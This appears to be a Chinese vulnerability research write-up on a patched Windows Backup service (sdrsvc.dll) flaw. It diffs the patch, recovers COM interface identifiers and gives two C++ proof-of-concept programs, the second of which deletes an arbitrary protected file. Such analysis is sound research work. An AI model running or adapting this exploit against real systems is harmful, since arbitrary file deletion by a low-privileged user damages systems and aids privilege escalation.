补丁分析
2020年2月11日,Windows备份服务被爆出一个本地提权漏洞,该服务的漏洞文件为sdrsvc.dll,下图为补丁改动情况。[出自:jiwo.org]
修补的函数有两个,因为第二个改动太小,所以让我们来关注第一个函数SdStopTracing,它第一个参数为文件名。
补丁前SdStopTracing
而漏洞触发点在于SxDeleteFile

SxDeleteFile会直接将文件名删除
对它进行交叉引用他,发现它会被CSdrRestoreService::StopTracing调用

接着对该类的一系列方法函数交叉引用找到CLSID
接着继续寻找UUID,还是对该类的方法函数交叉引用

最后找到该类的定义,后面发现该类是微软没有公开的,只能靠函数参数或者动态调试去猜测对应的方法名称,猜测函数名应该是6;
构造poc
构造代码如下
#include
#include
#include
class __declspec(uuid("2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea")) ISdrRestoreService : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc4(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc5(/* Stack Offset: 4 */ wchar_t** p0);
virtual HRESULT __stdcall Proc6(/* Stack Offset: 4 */ wchar_t* p0, /* Stack Offset: 8 */ BYTE p1);
};
ISdrRestoreService* PISdrRestoreService;
int main() {
CLSID clsid;
IID iid;
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSIDFromString(L"{47135EEA-06B6-4452-8787-4A187C64A47E}", &clsid);
IIDFromString(L"{2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea}", &iid);
ISearchRoot* pISearchRoot;
HRESULT hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&PISdrRestoreService);
if (hr != S_OK)
{
printf("Create SearchRoot ERROR %x\n", hr);
getchar();//E_NOINTERFACE
return 0;
}
int ret=PISdrRestoreService->Proc6((wchar_t*)L"C:\\Windows\\win.ini", 0);
printf("%x\n", ret);
getchar();
CoUninitialize();
return 0;
}
启动该服务
SxStopTracing失败的原因未知,根据函数名CSdrRestoreService::StopTracing,我发现有另一个函数CSdrRestoreService::StartTracing,先需要调用CSdrRestoreService::StartTracing才能让CSdrRestoreService::StopTracing执行完毕。
而CSdrRestoreService::StartTracing就是Proc5,到这里怎么调用函数就非常清晰,顺理成章的也可以做出Poc
它可以删除任何文件,poc会删除C:\Windows\WindowsUpdate.log
poc:
#include
#include
#include
class __declspec(uuid("2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea")) ISdrRestoreService : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc4(/* Stack Offset: 4 */ VOID** p0, /* Stack Offset: 8 */ VOID** p1);
virtual HRESULT __stdcall Proc5(/* Stack Offset: 4 */ wchar_t** p0);
virtual HRESULT __stdcall Proc6(/* Stack Offset: 4 */ wchar_t* p0, /* Stack Offset: 8 */ BYTE p1);
};
ISdrRestoreService* PISdrRestoreService;
int main() {
CLSID clsid;
IID iid;
CoInitializeEx(NULL, COINIT_MULTITHREADED);
CLSIDFromString(L"{47135EEA-06B6-4452-8787-4A187C64A47E}", &clsid);
IIDFromString(L"{2af1fe1b-1ec5-4190-bd89-04dfa7ede9ea}", &iid);
ISearchRoot* pISearchRoot;
HRESULT hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&PISdrRestoreService);
if (hr != S_OK)
{
printf("Create SearchRoot ERROR %x\n", hr);
getchar();//E_NOINTERFACE
return 0;
}
WCHAR* test = (wchar_t*)L"123";//CSdrRestoreService::StartTracing
PISdrRestoreService->Proc5(&test);
PISdrRestoreService->Proc6((wchar_t*)L"C:\\Windows\\WindowsUpdate.log", 0); //CSdrRestoreService::StopTracing
getchar();
CoUninitialize();
return 0;
}